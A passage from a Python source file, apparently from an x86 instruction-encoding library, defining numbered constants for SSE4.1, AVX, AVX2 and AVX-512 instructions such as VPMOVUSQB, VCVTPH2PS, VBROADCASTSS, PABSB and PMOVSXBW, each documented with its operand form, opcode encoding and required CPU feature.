EVEX_VPMOVUSQB_XMMM64_K1Z_ZMM: int = 2651
"""
``VPMOVUSQB xmm1/m64 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 12 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VCVTPH2PS_XMM_XMMM64: int = 2652
"""
``VCVTPH2PS xmm1, xmm2/m64``
``VEX.128.66.0F38.W0 13 /r``
``F16C``
``16/32/64-bit``
"""
VEX_VCVTPH2PS_YMM_XMMM128: int = 2653
"""
``VCVTPH2PS ymm1, xmm2/m128``
``VEX.256.66.0F38.W0 13 /r``
``F16C``
``16/32/64-bit``
"""
EVEX_VCVTPH2PS_XMM_K1Z_XMMM64: int = 2654
"""
``VCVTPH2PS xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.66.0F38.W0 13 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPH2PS_YMM_K1Z_XMMM128: int = 2655
"""
``VCVTPH2PS ymm1 {k1}{z}, xmm2/m128``
``EVEX.256.66.0F38.W0 13 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPH2PS_ZMM_K1Z_YMMM256_SAE: int = 2656
"""
``VCVTPH2PS zmm1 {k1}{z}, ymm2/m256{sae}``
``EVEX.512.66.0F38.W0 13 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSDW_XMMM64_K1Z_XMM: int = 2657
"""
``VPMOVUSDW xmm1/m64 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 13 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSDW_XMMM128_K1Z_YMM: int = 2658
"""
``VPMOVUSDW xmm1/m128 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 13 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSDW_YMMM256_K1Z_ZMM: int = 2659
"""
``VPMOVUSDW ymm1/m256 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 13 /r``
``AVX512F``
``16/32/64-bit``
"""
BLENDVPS_XMM_XMMM128: int = 2660
"""
``BLENDVPS xmm1, xmm2/m128, <XMM0>``
``66 0F 38 14 /r``
``SSE4.1``
``16/32/64-bit``
"""
EVEX_VPRORVD_XMM_K1Z_XMM_XMMM128B32: int = 2661
"""
``VPRORVD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORVD_YMM_K1Z_YMM_YMMM256B32: int = 2662
"""
``VPRORVD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2663
"""
``VPRORVD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 14 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORVQ_XMM_K1Z_XMM_XMMM128B64: int = 2664
"""
``VPRORVQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORVQ_YMM_K1Z_YMM_YMMM256B64: int = 2665
"""
``VPRORVQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2666
"""
``VPRORVQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 14 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSQW_XMMM32_K1Z_XMM: int = 2667
"""
``VPMOVUSQW xmm1/m32 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSQW_XMMM64_K1Z_YMM: int = 2668
"""
``VPMOVUSQW xmm1/m64 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 14 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSQW_XMMM128_K1Z_ZMM: int = 2669
"""
``VPMOVUSQW xmm1/m128 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 14 /r``
``AVX512F``
``16/32/64-bit``
"""
BLENDVPD_XMM_XMMM128: int = 2670
"""
``BLENDVPD xmm1, xmm2/m128, <XMM0>``
``66 0F 38 15 /r``
``SSE4.1``
``16/32/64-bit``
"""
EVEX_VPROLVD_XMM_K1Z_XMM_XMMM128B32: int = 2671
"""
``VPROLVD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLVD_YMM_K1Z_YMM_YMMM256B32: int = 2672
"""
``VPROLVD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2673
"""
``VPROLVD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 15 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLVQ_XMM_K1Z_XMM_XMMM128B64: int = 2674
"""
``VPROLVQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLVQ_YMM_K1Z_YMM_YMMM256B64: int = 2675
"""
``VPROLVQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2676
"""
``VPROLVQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 15 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSQD_XMMM64_K1Z_XMM: int = 2677
"""
``VPMOVUSQD xmm1/m64 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSQD_XMMM128_K1Z_YMM: int = 2678
"""
``VPMOVUSQD xmm1/m128 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 15 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSQD_YMMM256_K1Z_ZMM: int = 2679
"""
``VPMOVUSQD ymm1/m256 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 15 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPERMPS_YMM_YMM_YMMM256: int = 2680
"""
``VPERMPS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 16 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPERMPS_YMM_K1Z_YMM_YMMM256B32: int = 2681
"""
``VPERMPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 16 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 2682
"""
``VPERMPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 16 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMPD_YMM_K1Z_YMM_YMMM256B64: int = 2683
"""
``VPERMPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 16 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 2684
"""
``VPERMPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 16 /r``
``AVX512F``
``16/32/64-bit``
"""
PTEST_XMM_XMMM128: int = 2685
"""
``PTEST xmm1, xmm2/m128``
``66 0F 38 17 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPTEST_XMM_XMMM128: int = 2686
"""
``VPTEST xmm1, xmm2/m128``
``VEX.128.66.0F38.WIG 17 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPTEST_YMM_YMMM256: int = 2687
"""
``VPTEST ymm1, ymm2/m256``
``VEX.256.66.0F38.WIG 17 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VBROADCASTSS_XMM_M32: int = 2688
"""
``VBROADCASTSS xmm1, m32``
``VEX.128.66.0F38.W0 18 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VBROADCASTSS_YMM_M32: int = 2689
"""
``VBROADCASTSS ymm1, m32``
``VEX.256.66.0F38.W0 18 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VBROADCASTSS_XMM_K1Z_XMMM32: int = 2690
"""
``VBROADCASTSS xmm1 {k1}{z}, xmm2/m32``
``EVEX.128.66.0F38.W0 18 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VBROADCASTSS_YMM_K1Z_XMMM32: int = 2691
"""
``VBROADCASTSS ymm1 {k1}{z}, xmm2/m32``
``EVEX.256.66.0F38.W0 18 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VBROADCASTSS_ZMM_K1Z_XMMM32: int = 2692
"""
``VBROADCASTSS zmm1 {k1}{z}, xmm2/m32``
``EVEX.512.66.0F38.W0 18 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VBROADCASTSD_YMM_M64: int = 2693
"""
``VBROADCASTSD ymm1, m64``
``VEX.256.66.0F38.W0 19 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VBROADCASTF32X2_YMM_K1Z_XMMM64: int = 2694
"""
``VBROADCASTF32X2 ymm1 {k1}{z}, xmm2/m64``
``EVEX.256.66.0F38.W0 19 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTF32X2_ZMM_K1Z_XMMM64: int = 2695
"""
``VBROADCASTF32X2 zmm1 {k1}{z}, xmm2/m64``
``EVEX.512.66.0F38.W0 19 /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTSD_YMM_K1Z_XMMM64: int = 2696
"""
``VBROADCASTSD ymm1 {k1}{z}, xmm2/m64``
``EVEX.256.66.0F38.W1 19 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VBROADCASTSD_ZMM_K1Z_XMMM64: int = 2697
"""
``VBROADCASTSD zmm1 {k1}{z}, xmm2/m64``
``EVEX.512.66.0F38.W1 19 /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VBROADCASTF128_YMM_M128: int = 2698
"""
``VBROADCASTF128 ymm1, m128``
``VEX.256.66.0F38.W0 1A /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VBROADCASTF32X4_YMM_K1Z_M128: int = 2699
"""
``VBROADCASTF32X4 ymm1 {k1}{z}, m128``
``EVEX.256.66.0F38.W0 1A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VBROADCASTF32X4_ZMM_K1Z_M128: int = 2700
"""
``VBROADCASTF32X4 zmm1 {k1}{z}, m128``
``EVEX.512.66.0F38.W0 1A /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VBROADCASTF64X2_YMM_K1Z_M128: int = 2701
"""
``VBROADCASTF64X2 ymm1 {k1}{z}, m128``
``EVEX.256.66.0F38.W1 1A /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTF64X2_ZMM_K1Z_M128: int = 2702
"""
``VBROADCASTF64X2 zmm1 {k1}{z}, m128``
``EVEX.512.66.0F38.W1 1A /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTF32X8_ZMM_K1Z_M256: int = 2703
"""
``VBROADCASTF32X8 zmm1 {k1}{z}, m256``
``EVEX.512.66.0F38.W0 1B /r``
``AVX512DQ``
``16/32/64-bit``
"""
EVEX_VBROADCASTF64X4_ZMM_K1Z_M256: int = 2704
"""
``VBROADCASTF64X4 zmm1 {k1}{z}, m256``
``EVEX.512.66.0F38.W1 1B /r``
``AVX512F``
``16/32/64-bit``
"""
PABSB_MM_MMM64: int = 2705
"""
``PABSB mm1, mm2/m64``
``NP 0F 38 1C /r``
``SSSE3``
``16/32/64-bit``
"""
PABSB_XMM_XMMM128: int = 2706
"""
``PABSB xmm1, xmm2/m128``
``66 0F 38 1C /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPABSB_XMM_XMMM128: int = 2707
"""
``VPABSB xmm1, xmm2/m128``
``VEX.128.66.0F38.WIG 1C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPABSB_YMM_YMMM256: int = 2708
"""
``VPABSB ymm1, ymm2/m256``
``VEX.256.66.0F38.WIG 1C /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPABSB_XMM_K1Z_XMMM128: int = 2709
"""
``VPABSB xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.WIG 1C /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPABSB_YMM_K1Z_YMMM256: int = 2710
"""
``VPABSB ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.WIG 1C /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPABSB_ZMM_K1Z_ZMMM512: int = 2711
"""
``VPABSB zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.WIG 1C /r``
``AVX512BW``
``16/32/64-bit``
"""
PABSW_MM_MMM64: int = 2712
"""
``PABSW mm1, mm2/m64``
``NP 0F 38 1D /r``
``SSSE3``
``16/32/64-bit``
"""
PABSW_XMM_XMMM128: int = 2713
"""
``PABSW xmm1, xmm2/m128``
``66 0F 38 1D /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPABSW_XMM_XMMM128: int = 2714
"""
``VPABSW xmm1, xmm2/m128``
``VEX.128.66.0F38.WIG 1D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPABSW_YMM_YMMM256: int = 2715
"""
``VPABSW ymm1, ymm2/m256``
``VEX.256.66.0F38.WIG 1D /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPABSW_XMM_K1Z_XMMM128: int = 2716
"""
``VPABSW xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F38.WIG 1D /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPABSW_YMM_K1Z_YMMM256: int = 2717
"""
``VPABSW ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F38.WIG 1D /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPABSW_ZMM_K1Z_ZMMM512: int = 2718
"""
``VPABSW zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F38.WIG 1D /r``
``AVX512BW``
``16/32/64-bit``
"""
PABSD_MM_MMM64: int = 2719
"""
``PABSD mm1, mm2/m64``
``NP 0F 38 1E /r``
``SSSE3``
``16/32/64-bit``
"""
PABSD_XMM_XMMM128: int = 2720
"""
``PABSD xmm1, xmm2/m128``
``66 0F 38 1E /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPABSD_XMM_XMMM128: int = 2721
"""
``VPABSD xmm1, xmm2/m128``
``VEX.128.66.0F38.WIG 1E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPABSD_YMM_YMMM256: int = 2722
"""
``VPABSD ymm1, ymm2/m256``
``VEX.256.66.0F38.WIG 1E /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPABSD_XMM_K1Z_XMMM128B32: int = 2723
"""
``VPABSD xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.66.0F38.W0 1E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPABSD_YMM_K1Z_YMMM256B32: int = 2724
"""
``VPABSD ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.66.0F38.W0 1E /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPABSD_ZMM_K1Z_ZMMM512B32: int = 2725
"""
``VPABSD zmm1 {k1}{z}, zmm2/m512/m32bcst``
``EVEX.512.66.0F38.W0 1E /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPABSQ_XMM_K1Z_XMMM128B64: int = 2726
"""
``VPABSQ xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F38.W1 1F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPABSQ_YMM_K1Z_YMMM256B64: int = 2727
"""
``VPABSQ ymm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F38.W1 1F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPABSQ_ZMM_K1Z_ZMMM512B64: int = 2728
"""
``VPABSQ zmm1 {k1}{z}, zmm2/m512/m64bcst``
``EVEX.512.66.0F38.W1 1F /r``
``AVX512F``
``16/32/64-bit``
"""
PMOVSXBW_XMM_XMMM64: int = 2729
"""
``PMOVSXBW xmm1, xmm2/m64``
``66 0F 38 20 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVSXBW_XMM_XMMM64: int = 2730
"""
``VPMOVSXBW xmm1, xmm2/m64``
``VEX.128.66.0F38.WIG 20 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVSXBW_YMM_XMMM128: int = 2731
"""
``VPMOVSXBW ymm1, xmm2/m128``
``VEX.256.66.0F38.WIG 20 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVSXBW_XMM_K1Z_XMMM64: int = 2732
"""
``VPMOVSXBW xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.66.0F38.WIG 20 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVSXBW_YMM_K1Z_XMMM128: int = 2733
"""
``VPMOVSXBW ymm1 {k1}{z}, xmm2/m128``
``EVEX.256.66.0F38.WIG 20 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVSXBW_ZMM_K1Z_YMMM256: int = 2734
"""
``VPMOVSXBW zmm1 {k1}{z}, ymm2/m256``
``EVEX.512.66.0F38.WIG 20 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVSWB_XMMM64_K1Z_XMM: int = 2735
"""
``VPMOVSWB xmm1/m64 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 20 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVSWB_XMMM128_K1Z_YMM: int = 2736
"""
``VPMOVSWB xmm1/m128 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 20 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVSWB_YMMM256_K1Z_ZMM: int = 2737
"""
``VPMOVSWB ymm1/m256 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 20 /r``
``AVX512BW``
``16/32/64-bit``
"""
PMOVSXBD_XMM_XMMM32: int = 2738
"""
``PMOVSXBD xmm1, xmm2/m32``
``66 0F 38 21 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVSXBD_XMM_XMMM32: int = 2739
"""
``VPMOVSXBD xmm1, xmm2/m32``
``VEX.128.66.0F38.WIG 21 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVSXBD_YMM_XMMM64: int = 2740
"""
``VPMOVSXBD ymm1, xmm2/m64``
``VEX.256.66.0F38.WIG 21 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVSXBD_XMM_K1Z_XMMM32: int = 2741
"""
``VPMOVSXBD xmm1 {k1}{z}, xmm2/m32``
``EVEX.128.66.0F38.WIG 21 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXBD_YMM_K1Z_XMMM64: int = 2742
"""
``VPMOVSXBD ymm1 {k1}{z}, xmm2/m64``
``EVEX.256.66.0F38.WIG 21 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXBD_ZMM_K1Z_XMMM128: int = 2743
"""
``VPMOVSXBD zmm1 {k1}{z}, xmm2/m128``
``EVEX.512.66.0F38.WIG 21 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSDB_XMMM32_K1Z_XMM: int = 2744
"""
``VPMOVSDB xmm1/m32 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 21 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSDB_XMMM64_K1Z_YMM: int = 2745
"""
``VPMOVSDB xmm1/m64 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 21 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSDB_XMMM128_K1Z_ZMM: int = 2746
"""
``VPMOVSDB xmm1/m128 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 21 /r``
``AVX512F``
``16/32/64-bit``
"""
PMOVSXBQ_XMM_XMMM16: int = 2747
"""
``PMOVSXBQ xmm1, xmm2/m16``
``66 0F 38 22 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVSXBQ_XMM_XMMM16: int = 2748
"""
``VPMOVSXBQ xmm1, xmm2/m16``
``VEX.128.66.0F38.WIG 22 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVSXBQ_YMM_XMMM32: int = 2749
"""
``VPMOVSXBQ ymm1, xmm2/m32``
``VEX.256.66.0F38.WIG 22 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVSXBQ_XMM_K1Z_XMMM16: int = 2750
"""
``VPMOVSXBQ xmm1 {k1}{z}, xmm2/m16``
``EVEX.128.66.0F38.WIG 22 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXBQ_YMM_K1Z_XMMM32: int = 2751
"""
``VPMOVSXBQ ymm1 {k1}{z}, xmm2/m32``
``EVEX.256.66.0F38.WIG 22 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXBQ_ZMM_K1Z_XMMM64: int = 2752
"""
``VPMOVSXBQ zmm1 {k1}{z}, xmm2/m64``
``EVEX.512.66.0F38.WIG 22 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSQB_XMMM16_K1Z_XMM: int = 2753
"""
``VPMOVSQB xmm1/m16 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 22 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSQB_XMMM32_K1Z_YMM: int = 2754
"""
``VPMOVSQB xmm1/m32 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 22 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSQB_XMMM64_K1Z_ZMM: int = 2755
"""
``VPMOVSQB xmm1/m64 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 22 /r``
``AVX512F``
``16/32/64-bit``
"""
PMOVSXWD_XMM_XMMM64: int = 2756
"""
``PMOVSXWD xmm1, xmm2/m64``
``66 0F 38 23 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVSXWD_XMM_XMMM64: int = 2757
"""
``VPMOVSXWD xmm1, xmm2/m64``
``VEX.128.66.0F38.WIG 23 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVSXWD_YMM_XMMM128: int = 2758
"""
``VPMOVSXWD ymm1, xmm2/m128``
``VEX.256.66.0F38.WIG 23 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVSXWD_XMM_K1Z_XMMM64: int = 2759
"""
``VPMOVSXWD xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.66.0F38.WIG 23 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXWD_YMM_K1Z_XMMM128: int = 2760
"""
``VPMOVSXWD ymm1 {k1}{z}, xmm2/m128``
``EVEX.256.66.0F38.WIG 23 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXWD_ZMM_K1Z_YMMM256: int = 2761
"""
``VPMOVSXWD zmm1 {k1}{z}, ymm2/m256``
``EVEX.512.66.0F38.WIG 23 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSDW_XMMM64_K1Z_XMM: int = 2762
"""
``VPMOVSDW xmm1/m64 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 23 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSDW_XMMM128_K1Z_YMM: int = 2763
"""
``VPMOVSDW xmm1/m128 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 23 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSDW_YMMM256_K1Z_ZMM: int = 2764
"""
``VPMOVSDW ymm1/m256 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 23 /r``
``AVX512F``
``16/32/64-bit``
"""
PMOVSXWQ_XMM_XMMM32: int = 2765
"""
``PMOVSXWQ xmm1, xmm2/m32``
``66 0F 38 24 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVSXWQ_XMM_XMMM32: int = 2766
"""
``VPMOVSXWQ xmm1, xmm2/m32``
``VEX.128.66.0F38.WIG 24 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVSXWQ_YMM_XMMM64: int = 2767
"""
``VPMOVSXWQ ymm1, xmm2/m64``
``VEX.256.66.0F38.WIG 24 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVSXWQ_XMM_K1Z_XMMM32: int = 2768
"""
``VPMOVSXWQ xmm1 {k1}{z}, xmm2/m32``
``EVEX.128.66.0F38.WIG 24 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXWQ_YMM_K1Z_XMMM64: int = 2769
"""
``VPMOVSXWQ ymm1 {k1}{z}, xmm2/m64``
``EVEX.256.66.0F38.WIG 24 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXWQ_ZMM_K1Z_XMMM128: int = 2770
"""
``VPMOVSXWQ zmm1 {k1}{z}, xmm2/m128``
``EVEX.512.66.0F38.WIG 24 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSQW_XMMM32_K1Z_XMM: int = 2771
"""
``VPMOVSQW xmm1/m32 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 24 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSQW_XMMM64_K1Z_YMM: int = 2772
"""
``VPMOVSQW xmm1/m64 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 24 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSQW_XMMM128_K1Z_ZMM: int = 2773
"""
``VPMOVSQW xmm1/m128 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 24 /r``
``AVX512F``
``16/32/64-bit``
"""
PMOVSXDQ_XMM_XMMM64: int = 2774
"""
``PMOVSXDQ xmm1, xmm2/m64``
``66 0F 38 25 /r``
``SSE4.1``
``16/32/64-bit``
"""
VEX_VPMOVSXDQ_XMM_XMMM64: int = 2775
"""
``VPMOVSXDQ xmm1, xmm2/m64``
``VEX.128.66.0F38.WIG 25 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMOVSXDQ_YMM_XMMM128: int = 2776
"""
``VPMOVSXDQ ymm1, xmm2/m128``
``VEX.256.66.0F38.WIG 25 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMOVSXDQ_XMM_K1Z_XMMM64: int = 2777
"""
``VPMOVSXDQ xmm1 {k1}{z}, xmm2/m64``
``EVEX.128.66.0F38.W0 25 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXDQ_YMM_K1Z_XMMM128: int = 2778
"""
``VPMOVSXDQ ymm1 {k1}{z}, xmm2/m128``
``EVEX.256.66.0F38.W0 25 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSXDQ_ZMM_K1Z_YMMM256: int = 2779
"""
``VPMOVSXDQ zmm1 {k1}{z}, ymm2/m256``
``EVEX.512.66.0F38.W0 25 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSQD_XMMM64_K1Z_XMM: int = 2780
"""
``VPMOVSQD xmm1/m64 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 25 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSQD_XMMM128_K1Z_YMM: int = 2781
"""
``VPMOVSQD xmm1/m128 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 25 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVSQD_YMMM256_K1Z_ZMM: int = 2782
"""
``VPMOVSQD ymm1/m256 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 25 /r``
``AVX512F``
``16/32/64-bit``
"""
